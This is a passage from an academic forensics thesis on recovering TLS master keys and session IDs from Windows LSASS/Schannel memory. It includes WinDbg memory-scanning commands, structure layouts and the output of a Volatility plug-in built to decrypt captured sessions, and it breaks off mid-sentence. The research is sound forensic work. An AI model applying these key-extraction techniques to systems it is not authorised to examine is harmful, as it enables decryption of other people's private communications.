[’void’]]], // RUUU Bcrypt Key struct pointed to by pointer // MSSK struct pointed to by RUUU }] Figure 4.13. Non-LSASS SSL session key (ssl3) V-Type data structure (x64) The final key structures to be discussed in this section are ssl4 and ssl6. These two structures contain identical members, which is logical when considering that ssl6 appears to be the ephemeral version of ssl4 (the Public/Private key pair). In the case of a cipher suite like TLS ECDHE RSA AES 256 CBC SHA384, both the ssl4 and ssl6 structures should exist, as an ephemeral key pair is created for the key exchange and the persistent key is used for signing. Because the two are so similar, they will be discussed simultaneously with deviations contrasted as appropriate. The manifested C structures can be seen in Figure 4.14. 74 typedef struct _SSL4_Struct { ULONG cbLength, // The count in bytes (cb), of the structure ULONG dwMagic, // a dword (dw) of the ascii value ’ssl6’ [stored as ’6lss’] ULONG dwUnknown1, // usually 0x01000300 -> 0x00030001 ULONG dwUnknown2, // always 0 -> padding? PVOID pvKspProvider, // PVOID pvKspKey // } SSL4_Struct, *PSSL4_Struct; typedef struct _SSL6_Struct { ULONG cbLength, // The count in bytes (cb), of the structure ULONG dwMagic, // a dword (dw) of the ascii value ’ssl6’ [stored as ’6lss’] ULONG dwUnknown1, // usually 0x0003000a or 0x00030007 ULONG dwUnknown2, // always 0 -> padding? PVOID pvKspProvider, // PVOID pvKspKey // } SSL6_Struct, *PSSL6_Struct; Figure 4.14. SSL ephemeral key (ssl6) and key pair (ssl4) C data structures The two pointers in the structure both reference an interstitial structure, containing a header and series of pointers. The author named “KspProvider” pointer eventually points to the Unicode string “ncryptsslp.dll” and the binary of that module. The second “KspKey” pointer is so named because the interstitial structure it references then itself points to another data structure with the magic value “KPSK,” or “KSPK” in Big Endian. Following the same procedures employed previously, it was found that all KSPK references occur inside of “ncryptprov.dll,” and a validate function exists named “KspValidateKeyHandle.” Microsoft’s CNG documentation suggests that “KSP” refers to “Key Storage Provider” (Microsoft, 2014b), which seems to be logical in this context. 75 0:000> .foreach(srvK {s -[w1]a 0 L?80000000000000 4lss}){.echo **ServKey**;dpp ${srvK}-4 L4} **ServKey** 0000005e‘e725e840 73736c34‘00000020 0000005e‘e725e848 00000000‘00030001 0000005e‘e725e850 0000005e‘e72141a0 00000003‘44440001 0000005e‘e725e858 0000005e‘e725d710 00000000‘44440002 **ServKey** 0000005e‘e72cf9c0 73736c34‘00000020 0000005e‘e72cf9c8 00000000‘00030001 0000005e‘e72cf9d0 0000005e‘e72141a0 00000003‘44440001 0000005e‘e72cf9d8 0000005e‘e72f8e50 00000000‘44440002 0:000> dpp 0000005e‘e72f8e50 L4 0000005e‘e72f8e50 00000000‘44440002 0000005e‘e72f8e58 0000005e‘e72141a0 00000003‘44440001 0000005e‘e72f8e60 0000005e‘e720bd20 4b53504b‘00000208 0000005e‘e72f8e68 0000005e‘e72f8e70 00650053‘00530054 0:000> dc 0000005e‘e720bd20 L2 0000005e‘e720bd20 00000208 4b53504b ....KPSK 0:000> dpu 0000005e‘e720bd20 Ldwo(0000005e‘e720bd20)/$ptrsize 0000005e‘e720bd20 4b53504b‘00000208 0000005e‘e720bd28 0000005e‘e72cfaa0 "TSSecKeySet1" 0000005e‘e720bd30 0000005e‘e72f4cb0 "f686aace6942fb7f7ceb231212eef4a4_f928a10b-2557-4456-b0e" 0000005e‘e720bd38 00000800‘00000001 0000005e‘e720bd40 00000000‘00000001 0000005e‘e720bd48 00000001‘00ffffff 0000005e‘e720bd50 0000005e‘e72fb920 "Microsoft Strong Cryptographic Provider" 0000005e‘e720bd58 00007ffa‘366e6a90 ". " 0000005e‘e720bd60 0000005e‘e72cfbc0 "C:\ProgramData" <...> Figure 4.15. SSL key pair (ssl4) provider Dereference The author was able to further identify the encrypted private key blob from this structure by taking the known key file from disk for RDP and comparing it to a DPAPI blob that one of the pointers referenced (at o↵set 0xd0 on 64-bit systems and 0x7c on 32-bit systems in KPSK structures that were pointed to by ssl4 structures. This is only mentioned anecdotally, as only RDP was tested, so its possible that other private keys may appear elsewhere in the structure. An example of the first part of the DPAPI blob (matching what was on disk) can be seen in 76 Figure 4.16. The equivalent was not true of KPSK structures pointed to by ssl6 (the ephemeral key pair). 0:000> .foreach(ephemK {s -[1w]a 0 L?80000000000000 4lss}){.echo **;db poi(poi(poi(${ephemK}-4+8+(2* $ptrsize))+(2*$ptrsize))+d0) L100} ** 0000005e‘e678ec70 01 00 00 00 d0 8c 9d df-01 15 d1 11 8c 7a 00 c0 .............z.. 0000005e‘e678ec80 4f c2 97 eb 01 00 00 00-81 7e 1f 3d 16 c8 58 46 O........~.=..XF 0000005e‘e678ec90 83 4b 08 20 12 5a 67 94-04 00 00 00 2c 00 00 00 .K. .Zg.....,... 0000005e‘e678eca0 43 00 72 00 79 00 70 00-74 00 6f 00 41 00 50 00 C.r.y.p.t.o.A.P. 0000005e‘e678ecb0 49 00 20 00 50 00 72 00-69 00 76 00 61 00 74 00 I. .P.r.i.v.a.t. 0000005e‘e678ecc0 65 00 20 00 4b 00 65 00-79 00 00 00 10 66 00 00 e. .K.e.y....f.. 0000005e‘e678ecd0 00 01 00 00 20 00 00 00-ac 89 d9 c9 56 ce e4 d8 .... .......V... 0000005e‘e678ece0 41 fd 32 4a 1d 29 61 77-64 d4 51 10 e5 e1 23 fe A.2J.)awd.Q...#. 0000005e‘e678ecf0 38 78 30 c3 d8 95 7e 2a-00 00 00 00 0e 80 00 00 8x0...~*........ 0000005e‘e678ed00 00 02 00 00 20 00 00 00-b3 8e 99 58 cd 4c 1e 55 .... ......X.L.U 0000005e‘e678ed10 d8 aa 2c b9 24 6b e8 c1-19 a5 ab f4 33 49 be 69 ..,.$k......3I.i 0000005e‘e678ed20 20 11 09 98 9d 37 68 67-50 05 00 00 c5 df e0 93 ....7hgP....... 0000005e‘e678ed30 9d 28 65 31 ee 8d 18 eb-d4 da f0 04 13 ed 81 c5 .(e1............ 0000005e‘e678ed40 c1 bb d2 ca d8 1b 39 35-4c 4c 0d 20 df d3 f6 a0 ......95LL. .... 0000005e‘e678ed50 48 54 2a 67 fc a5 11 66-c5 18 f5 96 b9 c3 b5 0a HT*g...f........ 0000005e‘e678ed60 88 7b e2 de ca 83 32 36-78 09 e4 29 61 43 07 de .{....26x..)aC.. ** 0000005e‘e678e600 01 00 00 00 d0 8c 9d df-01 15 d1 11 8c 7a 00 c0 .............z.. 0000005e‘e678e610 4f c2 97 eb 01 00 00 00-81 7e 1f 3d 16 c8 58 46 O........~.=..XF 0000005e‘e678e620 83 4b 08 20 12 5a 67 94-04 00 00 00 2c 00 00 00 .K. .Zg.....,... 0000005e‘e678e630 43 00 72 00 79 00 70 00-74 00 6f 00 41 00 50 00 C.r.y.p.t.o.A.P. 0000005e‘e678e640 49 00 20 00 50 00 72 00-69 00 76 00 61 00 74 00 I. .P.r.i.v.a.t. 0000005e‘e678e650 65 00 20 00 4b 00 65 00-79 00 00 00 10 66 00 00 e. .K.e.y....f.. 0000005e‘e678e660 00 01 00 00 20 00 00 00-ac 89 d9 c9 56 ce e4 d8 .... .......V... 0000005e‘e678e670 41 fd 32 4a 1d 29 61 77-64 d4 51 10 e5 e1 23 fe A.2J.)awd.Q...#. 0000005e‘e678e680 38 78 30 c3 d8 95 7e 2a-00 00 00 00 0e 80 00 00 8x0...~*........ 0000005e‘e678e690 00 02 00 00 20 00 00 00-b3 8e 99 58 cd 4c 1e 55 .... ......X.L.U 0000005e‘e678e6a0 d8 aa 2c b9 24 6b e8 c1-19 a5 ab f4 33 49 be 69 ..,.$k......3I.i Figure 4.16. Dereferenced KSPK private key DPAPI Blob 77 4.5 Confirming the master key In order to verify that the 5lss structure was indeed the master key, a quick test was performed. Briefly, the process was as follows: 1. Wireshark was started on Kali Linux 2. xfreerdp was launched to connect to the target through Peter Wu’s sslkeylog bash wrapper 3. the library pre-loaded by the script transparently dumped the pre-master key to a file 4. a process dump of LSASS was created on the target 5. the process dump was searched with HxD for the pre-master key from the file This did confirm that the master key was in memory, and that it was stored in the ssl5 structure. This step was only performed once, and is not necessary to validate findings. It is included here solely as a demonstration of another approach for verification. 4.6 Mapping master keys to session IDs The analysis up until this point had not yielded a master key paired to a unique public value for a given session, which is required to decrypt the session. The master key structure only had a single pointer, which did not provide an avenue to one of these unique values. For this reason, the approach was taken to inversely walk the pointers by scanning for references to instantiated master key memory addresses. Scanning for pointers to master key structures was successful and led to identification of a new interstitial structure in a di↵erent module. Specifically, every master key was pointed to by a single structure with the Magic value “BDDD.” Leveraging the methods employed previously, BDDD was noted to appear in the Ncrypt module, and a “validate” function for this structure was identified: the “ncrypt!ValidateSslKeyHandle” function. Two other validate functions existed, one for the Hash (CDDD) and the other for the Provider (ADDD). 78 The BDDD structure will be referred to as the “NcryptSslKey” structure for distinction. The NcryptSslKey structure bears resemblance to the ssl4 and ssl6 structures, constituted mainly by the size, magic, and two pointers. The first pointer is to the key structure, and the second is to an NcryptSslProvider (ADDD). Armed with this information, the BDDD magic was used to scan memory for additional key instances. This endeavor yielded several new NcryptSslKey instances in addition to those found pointing to the master key structures. Dereferencing the key pointer in all of the identified NcryptSslKeys led to the output depicted in Figure 4.17, which clearly shows ssl4, ssl5, and ssl6 key structures being referenced. 0:000> .foreach(nKey {s -[1w]a 0 L?800000000000 BDDD}){db poi(${nKey}-4+10) L10;} 0000005e‘e72d2500 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e73544d0 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e725e840 20 00 00 00 34 6c 73 73-01 00 03 00 00 00 00 00 ...4lss........ 0000005e‘e72fa520 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e72cf580 20 00 00 00 36 6c 73 73-0a 00 03 00 00 00 00 00 ...6lss........ 0000005e‘e72fbba0 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e72fb790 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e72cfd60 20 00 00 00 36 6c 73 73-0a 00 03 00 00 00 00 00 ...6lss........ 0000005e‘e72cf9c0 20 00 00 00 34 6c 73 73-01 00 03 00 00 00 00 00 ...4lss........ 0000005e‘e72fd770 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e73551f0 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ Figure 4.17. NcryptSslKey instances Dereferenced (x64) After exhausting the two pointers in the NcryptSslKey structure, another pointer scan was performed with the addresses of the NcryptSslKeys associated with master keys. This consistently led to at least one, but sometimes more than one, pointer to those NcryptSslKeys instances. The context around these pointers was inspected, which did not yield any magic values but did lead to consistency denoting a managed structure and an important finding – a unique public value. Values heuristically matching the session ID pattern were spotted reliable at 0x70 bytes below one pointer to every NcryptSslKey that pointed to a master key. As discussed in the Checkoway paper, each of these values had two sets of zeros in 79 the third and fourth position due to a peculiarity in the session ID generation mechanism employed by Windows (Checkoway et al., 2014). One of these suspected IDs matched the session ID from the test connection, confirming this speculation. Figure 4.18 shows an example of mapping master keys to session IDs by pointer scanning, and then dumping the session ID. Extraneous pointers are filtered on the loose fingerprint of two non-zero bytes followed by two zero bytes in the first dword of the possible session ID. 0:000> .foreach(sslSess {.foreach (BDDDPoi {.foreach(ssl5Key {s -[1w]d 0x0 L?800000000000 ’ssl5’}){s -[1]q 0x0 L?800000000000 ${ssl5Key}-4;}}){s -[1]q 0x0 L?80000000000 ${BDDDPoi}-10}}){.if (dwo(${ sslSess}+78) < 0x00010000 & dwo(${sslSess}+78) >= 0x00000101){db ${sslSess}+78 L20;.echo ***}} 0000005e‘e72e5c08 78 1f 00 00 f3 50 8a 72-39 87 ba 3b cb 15 fb 48 x....P.r9..;...H 0000005e‘e72e5c18 a8 1d 89 61 d1 94 b0 15-eb 64 b5 4f 05 a0 ad 3d ...a.....d.O...= *** 0000005e‘e72e5ac8 29 2b 00 00 c6 6f 97 9b-a0 f8 eb 44 26 01 79 f3 )+...o.....D&.y. 0000005e‘e72e5ad8 82 f4 66 cc ae ac 81 d5-d6 e2 97 e5 11 90 bf 27 ..f............’ *** 0000005e‘e72ffd78 d4 17 00 00 da 09 f8 59-67 39 21 5e 21 6c 49 65 .......Yg9!^!lIe 0000005e‘e72ffd88 68 fa 66 e4 2a c3 2b 97-4d 44 09 49 df f3 3d 2b h.f.*.+.MD.I..=+ *** 0000005e‘e67fe1d8 b9 3c 00 00 a1 10 69 0b-4a e9 11 1b ce 57 25 c6 .<....i.J....W%. 0000005e‘e67fe1e8 c4 7a 03 7b 3c 39 c4 9c-75 ce 51 e1 c2 eb 79 ee .z.{<9..u.Q...y. *** 0000005e‘e72fe508 43 2a 00 00 bf 4f 62 2f-0f c1 19 97 4a 0e f3 0c C*...Ob/....J... 0000005e‘e72fe518 d8 38 c3 a0 25 b8 3a bb-dc db ce 7b 23 25 d2 d9 .8..%.:....{#%.. *** 0000005e‘e72e5fc8 b0 17 00 00 9c c4 95 44-a9 0d 12 97 a9 e3 c8 10 .......D........ 0000005e‘e72e5fd8 7c d4 2f 3a 82 0b 6f f7-6d 62 25 45 26 93 df f1 |./:..o.mb%E&... *** 0000005e‘e72e5988 6f 23 00 00 a0 21 aa c4-8d 15 54 45 24 c1 45 4e o#...!....TE$.EN 0000005e‘e72e5998 4e c0 1d 5a db 30 5d 8d-9d 57 ab 2b 99 1d d5 97 N..Z.0]..W.+.... *** Figure 4.18. Master key to session ID mapping The pointer addresses that did have seemingly valid session IDs below them were then explored and compared to identify a possible structure. This showed that, consistently, a pointer appeared directly before the NcrypSslKey pointer that 80 referenced an o↵set into the Schannel module. The remainder of the analysis regarding this new structure is discussed in the ensuing section. 4.7 SSL Session Cache Items Symbolically resolving the memory address of the pointer above the reference to the master key revealed that it was the “vftable” for a class inside of the schannel module. In fact, it was vftable symbols of two di↵erent classes: “CSslCacheClientItem” and “CSslCacheServerItem.” These names follow the internal Microsoft use of Hungarian Notation by prefixing classes with a capital “C” (Microsoft, n.d.-b, n.d.-g). The class names themselves are descriptive, revealing both whether the host was the client or server of a given connection, and that the structures identified are in fact part of a cache, likely maintained to enable session resumption. “Vftable” is a reference to the Virtual Function Table, sometimes also abbreviated “vtable.” It appears that in C++ binaries compiled with the MSVC compiler, virtual function tables are often the first item stored for a class instantiation in memory (Microsoft, n.d.-i). This means that one could parse PDBs for vftable entries, find classes of interest, and use the vftable symbol for the class to scan for instantiations of the class as a method for reversing. Following the process employed when discovering the NcryptSslKey, scanning was performed for the SslCacheServerItem and SslCacheClient Item to enumerate any instantiations not yet identified. This did not return additional results, giving a strong indicator that a master key may exist for every SslCache item. This creates an opportunity to scan for the class, dump the session ID and simply deference the pointers to the master key, a process depicted in Figure 4.19. The added context of “Client” or “Server” is echoed in the output as well, and only two entries for each are shown for brevity, with missing entries being replaced by an ellipses. 81 0:000> .foreach(cacheSess {s -[w1]q 0x0 L?800000000000 schannel!CSessionCacheServerItem::‘vftable’}){. echo **SERVER*********;.echo **SessID**;db ${cacheSess}+88 L20;.echo **MasterKey**;db poi(poi(${ cacheSess}+10)+10)+1C L30};.foreach(cacheSess {s -[w1]q 0x0 L?800000000000 schannel! CSessionCacheClientItem::‘vftable’}){.echo **CLIENT*********;.echo **SessID**;db ${cacheSess}+88 L20;.echo **MasterKey**;db poi(poi(${cacheSess}+10)+10)+1C L30} **SERVER********* **SessID** 0000005e‘e67fe1d8 b9 3c 00 00 a1 10 69 0b-4a e9 11 1b ce 57 25 c6 .<....i.J....W%. 0000005e‘e67fe1e8 c4 7a 03 7b 3c 39 c4 9c-75 ce 51 e1 c2 eb 79 ee .z.{<9..u.Q...y. **MasterKey** 0000005e‘e72fbbbc bc 28 46 79 99 b9 9f d3-fd f3 a2 46 42 c5 d9 3b .(Fy.......FB..; 0000005e‘e72fbbcc 9a b4 3e 51 62 7f 6e 01-45 ef 12 0b a9 8a 1c 32 ..>Qb.n.E......2 0000005e‘e72fbbdc 23 f3 db e0 15 4e 30 d7-86 9b db 7a b6 6f 53 18 #....N0....z.oS. <...> **SERVER********* **SessID** 0000005e‘e72ffd78 d4 17 00 00 da 09 f8 59-67 39 21 5e 21 6c 49 65 .......Yg9!^!lIe 0000005e‘e72ffd88 68 fa 66 e4 2a c3 2b 97-4d 44 09 49 df f3 3d 2b h.f.*.+.MD.I..=+ **MasterKey** 0000005e‘e72fb7ac 44 b5 03 be f7 84 2e a9-a4 16 fb f8 b6 3b 93 2b D............;.+ 0000005e‘e72fb7bc 23 b7 b6 87 fb f5 29 7b-25 3e ac 42 78 77 c8 e1 #.....){%>.Bxw.. 0000005e‘e72fb7cc 15 95 e1 4c 3f 00 c4 0b-f2 a0 f4 68 8d e0 b7 aa ...L?......h.... **CLIENT********* **SessID** 0000005e‘e72e5988 6f 23 00 00 a0 21 aa c4-8d 15 54 45 24 c1 45 4e o#...!....TE$.EN 0000005e‘e72e5998 4e c0 1d 5a db 30 5d 8d-9d 57 ab 2b 99 1d d5 97 N..Z.0]..W.+.... **MasterKey** 0000005e‘e735520c 8b c9 e9 df 65 3e 3c bf-53 3b e8 4c 68 97 78 7b ....e><.S;.Lh.x{ 0000005e‘e735521c d4 53 b8 ce e9 d5 38 9e-9c 36 59 eb f9 97 d9 c8 .S....8..6Y..... 0000005e‘e735522c d0 66 6a ad ca 5b e2 25-8f 30 b9 25 12 15 a7 17 .fj..[.%.0.%.... **CLIENT********* **SessID** 0000005e‘e72e5ac8 29 2b 00 00 c6 6f 97 9b-a0 f8 eb 44 26 01 79 f3 )+...o.....D&.y. 0000005e‘e72e5ad8 82 f4 66 cc ae ac 81 d5-d6 e2 97 e5 11 90 bf 27 ..f............’ **MasterKey** 0000005e‘e72fa53c 8a 74 2d 06 53 29 d5 c6-e1 92 c8 52 db d9 d1 4c .t-.S).....R...L 0000005e‘e72fa54c 83 fe 6d 87 1d c1 9d 34-a4 e6 3a ea ea db 4b c8 ..m....4..:...K. 0000005e‘e72fa55c 9f ec c9 72 60 d4 48 55-0c de 15 43 4a d8 90 9d ...r‘.HU...CJ... <...> Figure 4.19. Schannel CSslCacheItem parsing (x64) 82 Being able to scan once and then reference the pointers forward is far more efficient than scanning multiple times to walk the pointers inversely, however, it relies on symbols. The symbols, in this case, simply provide an o↵set from the base of the image to the address where the vftable can be found (in the .rdata section of Schannel). The difficulty is that this o↵set cannot be statically referenced due to the mutability of the vftable location, which can change with every version of Schannel. The Schannel dll may be arbitrarily updated for any number of reasons, causing variations even within a given Windows release. The implications of this for the main memory analysis suites will be discussed in a later section. The SslCacheServerItem and the SslCacheClientItem di↵er in length and composition, as expected. One interesting artifact of the SslCacheClientItem is a pointer to the public certificate for the connection that appears directly after the pointer to the master key, providing additional context about the other end of the connection. There is also a pointer to the Unicode server name, though this value can also be empty. The total size of each class, while technically unknown, has been roughly estimated through comparison of many instantiations across samples to be approximately 0x140 bytes. Time constraints and the the ability to map the master key to the session ID meant that full enumeration of the members of these classes was left for future work. The members that were identified are shown in Figure 4.20. Because there are a large number of unknowns, Figure 4.20 depicts the known values in the Volatility VType format, which provides a structure length, then members with an o↵set into the structure and a data type. 83 ’_SSL_SESSION_CACHE_CLIENT_ITEM’: [ 0x140, { ’ClassVftable’: [0x0, [’pointer64’, [’void’]]], ’MasterKey’: [0x10, [’pointer64’, [’void’]]], ’PublicCertificate’: [0x18, [’pointer64’, [’void’]]], ’PublicKey’: [0x28, [’pointer64’, [’void’]]], ’NcryptSslProv’: [0x60, [’pointer64’, [’void’]]], ’SessionID’: [0x88, [’array’, 0x20, [’unsigned char’]]], ’ServerName’: [0xf8, [’pointer64’, [’void’]]], ’SessionTicket’: [0x128, [’pointer64’, [’void’]]] ’CSessCacheManager’: [0x110, [’pointer64’, [’void’]]] }] ’_SSL_SESSION_CACHE_SERVER_ITEM’: [ 0x140, { ’ClassVftable’: [0x0, [’pointer64’, [’void’]]], ’MasterKey’: [0x10, [’pointer64’, [’void’]]], ’NcryptSslProv’: [0x60, [’pointer64’, [’void’]]], ’SessionID’: [0x88, [’array’, 0x20, [’unsigned char’]]], ’CSslCredential’: [0xf0, [’pointer64’, [’void’]]] }] Figure 4.20. Schannel CSslCacheItem V-Types (x64) One point of note is that the cache may not always contain a session ID, but may instead reference a session ticket if it is a client cache. This was first noticed during a brief test that was not originally going to be included in the thesis. Skype was installed in a Windows 10 target to identify whether or not it leveraged the SSL Cache. This may sound odd considering Skype is a Microsoft product, but Skype was an acquisition, not developed internally, and so logically may not have used Schannel. This led to very interesting results: Skype, when launched, did leverage the cache, but entries appeared for the CSslCacheClientItem which had a null session ID. This is because those sessions used Ticket-based session resumption. A pointer to the ticket seems to be located at 0x128 into the structure on x64 systems examined. This was then verified through examination of the 84 “schannel!CSessionCacheClientItem::SetSessionTicket” function, which uses this address. An unexpected discrepancy was noted amongst the ticket-based cache items: multiples of the same ticket existed for di↵erent cache entries, but mapped to di↵erent master key values. Intuitively, this is not possible for successful cache operation; the ticket is meant to be unique, and contains the master key as part of the state within the ticket. By virtue of a sound encryption scheme, di↵erent masker keys would necessitate a di↵erent ticket, as a single bit changed in the plaintext state would cause a massive change in the ciphertext. Wireshark can decrypt sessions that employ session tickets, but it does so by mapping them to the client random. Because the session cache does not appear to maintain a relationship with the client random (as, after all, it used the ticket for a unique identifier and it caches the master key that was derived with the client random), this means that manual decryption of items using session tickets is currently required. It would be feasible, though outside the scope of this thesis, to programmatically enable this by extending Wireshark through its scripting engine. 4.8 Schannel Classes Extrapolating from the use of the vftable symbol as a class marker, the Schannel symbols were searched for other vftable symbols to enumerate classes, which yielded several classes of interest. There were two entries containing the word “Key”: “CSslServerKey” and “CSslEphemKeyData.” Noting the similarity to 4lss and 6lss respectively, this was investigated. The first entry in CSslServerKey after the vftable pointer was a pointer to an NcryptSslKey that in turn pointed to a 4lss struct. Similarly, the first entry in CSslEphemData after the vftable pointed to an NcryptSslKey that pointed to a 6lss struct. 85 Another set that were interesting were those that used the term “Credential.” Two classes with this in the title had interesting names: “CSslCredential” and “CCredentialGroup,” both of which had instantiations that were memory resident. A pointer to CSslCredential was found within the CSslCacheServerItem structure. A pointer to CCredentialGroup was found inside of another identified class: “CSchannelTelemetryContext.” This telemetry class was found to also contain the session ID (when session tickets were not employed), but it did not reliably exist across samples. In addition to the session ID, this class was observed to contain the TLS version, cipher suite, and the Server Name Indicator, amongst other values. It seems, purely speculatively, that it may exist for active connections, though this is truly anecdotal. The “CSchannelTelemetryContext” class, when present, also pointed to either “CSchannelClientTelemetryContext” or “CSchannelServerTelemetryContext.” 4.9 Schannel Parameters While looking at the Schannel binary, several strings of interest were found in the .rdata section. Nominally, the following three string contained the text “cache,” bearing possible relation to the classes discovered previously: “ClientCacheTime,” “ServerCacheTime,” and “MaximumCacheSize.” As the strings are resident in the so-named “read-only data” section of the binary, it seemed that they may not be variables to be modified, but possibly used as a comparator against something like a registry key (e.g. as an existence check of a regisrty value that overrides the default value). The strings were also reminiscent of the “hard-coded” values alluded to by Checkoway and others in their Dual EC paper. They specifically note that “SChannel caches ephemeral keys for two hours (this timeout is hard-coded in the configurations we examined)” (Checkoway et al., 2014, p. 8) and referenced a value of 20,000 when discussing the generation of session IDs (Checkoway et al., 2014, p. 9). 86 Searching MSDN revealed that these values are indeed registry settings, with default values that can be overridden (Microsoft, 2015e). A section defining the ClientCacheTime setting contains the following excerpt: The first time a client connects to a server through the Schannel SSP, a full TLS handshake is performed. When this is complete, the master secret, cipher suite, and certificates are stored in the session cache on the respective client and server. (Microsoft, 2015e, p. 1) This statement corroborates the independent findings of the thesis. Table 4.2 contains the default values for the Client/Server cache time, per Microsoft’s documentation (Microsoft, 2003b, 2015e): Table 4.2. Client and server SSL cache time OS Version ClientCacheTime ServerCacheTime Windows 8.1 10 Hours 10 Hours Windows Server 2012 R2 10 Hours 10 Hours Windows 8 10 Hours 10 Hours Windows Server 2012 10 Hours 10 Hours Windows 7 10 Hours 10 Hours Windows Server 2008 R2 10 Hours 10 Hours Windows Vista 10 Hours 10 Hours Windows XP 10 Hours 10 Hours Windows 2000 SP2 10 Hours 10 Hours Windows 2000 SP1 2 Minutes 2 Minutes Windows NT 4.0 SP6a + Q265369 1 Hour 5 Minutes Windows NT 4.0 SP6a 2 Minutes 2 Minutes These default values can also be found in the .rdata section of the binary. Searching for the dword 0x00004e20 (20,000) in Schannel matched exactly on the 87 symbol “schannel!CSslGlobals::m dwMaximumEntries.” Likewise, searching for the dword 0x02255100 (10 hours in milliseconds) returned exact matches on the symbols “schannel!CSslGlobals::m dwSessionTicketLifespan,” “schannel!CSslGlobals::m dwServerLifespan,” and “schannel!CSslGlobals::m dwClientLifespan.” The outcome is that a captured connection created using Schannel, even if it uses an ephemeral key exchange, can be decrypted by plundering the cache entry of either party up to 10 hours after the connection was initiated, for up to 20,000 entries. It also means that the loose fingerprint present for Schannel-generated session IDs can be altered by creating the registry key that overrides the cache size and setting it to something other than 20,000. 4.10 Scanning Physical Memory After exhausting those master key entries within the LSASS process space, scanning was then performed on the physical address space with bulk extractor’s lightgrep scanner. Interestingly, about twice as many seemingly valid SSL structures appeared. About half of these were duplicates of known master keys, but some were unique to those found within LSASS. Those not resident in the LSASS process space (i.e. the other structures) were not aligned on 32-bit or 64-bit boundaries (respective of the system), whereas those that were identified in the LSASS process space were byte aligned. Volatility was leveraged to scan all other processes in the same memory image for instances of the ssl5 struct, but did not return the results that were identified with bulk extractor from physical memory. 4.11 Automating Extraction While the WinDbg one-liner is a semi-automation solution, it isn’t can’t be applied across other memory samples without significant alteration to the sample. To that end, the Volatility and Rekall frameworks were leveraged to make the PoC 88 flexible. Rekall was initialy favoured for development because of its philosophical approach and embrace of symbols; however, during some preliminary examinations, Rekall would not parse the test Windows 10 VMEM files correctly, whereas Volatiliy did. This could be due to some peculiarity of the testers environment, however, the latest release version and master branch from the projects git repository were tested on Windows, Linux, and Mac environments to the same e↵ect. Volatility was extended through a plug-in that dumps the session IDs and master keys into the format that Wireshark accepts, allowing a single file to be imported to decrypt packet captures containing sessions that were in the cache. Because Volatility does not currently support the dynamic downloading and extraction of symbols in the either the release version or master branch from its git repository, a di↵erent algorithm was leveraged to extract cache items. Specifically, because each cache entry maintains a one-to-one relationship with an NcryptSslKey structure, which maintains a one-to-one relationship with a master key structure, one can walk those structures backwards. This is inefficient, however, because it involves scanning the entire address space three times instead of one time, followed by two dereferences. For efficiency, the plugins scans for NcryptSslKey and checks if they point to master keys, and then scans for pointers to the NcryptSslKey that do. This saves an extra iteration of scanning the entire address space. The address space itself is limited by only scanning VADs that have read-write permissions. This was chosen as a precautionary middle ground between only scanning the heaps and scanning the full address space, e↵ectively checking the writable address space within the process. The real issue is detecting the vftable class identifier without symbols, which was addressed successfully but imperfectly. In order to identify a valid cache entry, the identified pointer to the NcryptSslKey is instantiated as a cache item, and then the pointer that should reference the vftable is tested. It is tested to see if it points to Schannel’s .rdata section, which would rule out any invalid address, but does not rule out. Currently, this has been completely Using rekall’s method of scanning for 89 the RSDS signature2, downloading the appropriate symbol file, and locating the exact address would alleviate this concern. The next issue is determining whether or not a cache entry is a server cache item or a client cache item. This is done currently by checking a flag present within the master key structure that, in testing, was always zero for server cache entries and one for client cache entries. This too is imperfect, but has proven functional in all tests. As the client and server caches that employ session IDs store them at the same o↵set, this only becomes problematic when looking for session tickets or other structure specific information. The final issue is how to handle cache items with session tickets instead of session IDs. This was accomplished by adding the capability to recognize valid cache items that don’t have a session ID but do have a session ticket pointer and enable printing them as debugging information, but not printing them by default. If it is found that a relationship does persist for the client random and the session tickets, then this could be extended to print in the format that Wireshark expects, as the session ID entries do. One could also extend Wireshark to handle this through its scripting engine, as has been pointed out earlier. The result is a plug-in that successfully identifies and extracts the required information from the cache to decrypt a session with Wireshark when employing session IDs. Items that use session tickets can be recognized and decrypted with Wireshark more manually, but require a packet capture containing the client random value. The plug-in is named “LSASSLKey,” and the result of running the plug-in can be seen in Figure 4.21. 2The RSDS is a unique GUID that changes every time the binary is compiled, when this feature is enabled, as it is by default on all Microsoft binaries 90 > vol.exe --plugins=./plugins --profile=Win10x64 -f Win10-Test-c2a4a77d.vmem lsasslkey Volatility Foundation Volatility Framework 2.5 RSA Session-ID:b93c0000a110690b4ae9111bce5725c6c47a037b3c39c49c75ce51e1c2eb79ee Master-Key: bc28467999b99fd3fdf3a24642c5d93b9ab43e51627f6e0145ef120ba98a1c3223f3dbe0154e30d7869bdb7ab66f5318 RSA Session-ID:173300000f84a86aebb2c5de0af20e6d5c2cab95ab65043e14c6e19cee54ee17 Master-Key:9 dd750e12e6e4439b08326d4a1f9eba2d2fe65c2a26c2088e7cec22ce1d91e9f219b704547a2b2eccb9a81d557d5ae1a RSA Session-ID:3c2c000024b8f70dd2613d8b13d0c4ac4daaefbe53ab4b7cb9763e80feccb4f1 Master-Key:2 d119c64695ffc9c143c136471f5625d8cde92d35721f5f2849b92639603799a45e1e601786cbf89b00c186969d44983 RSA Session-ID:d4170000da09f8596739215e216c496568fa66e42ac32b974d440949dff33d2b Master-Key:44 b503bef7842ea9a416fbf8b63b932b23b7b687fbf5297b253eac427877c8e11595e14c3f00c40bf2a0f4688de0b7aa RSA Session-ID:432a0000bf4f622f0fc119974a0ef30cd838c3a025b83abbdcdbce7b2325d2d9 Master-Key:552699 d61e21d1b871af4b05a54003bf03eade60666dd1e54b94c3b5ec98f296db4ae99baed4e23882175e5ffd88be31 RSA Session-ID:6f230000a021aac48d15544524c1454e4ec01d5adb305d8d9d57ab2b991dd597 Master-Key:8 bc9e9df653e3cbf533be84c6897787bd453b8cee9d5389e9c3659ebf997d9c8d0666aadca5be2258f30b9251215a717 Figure 4.21. Volatility LSASSLKey plug-in output 4.12 Decrypting a TLS session Decrypting a TLS connection was now trivial, and simply 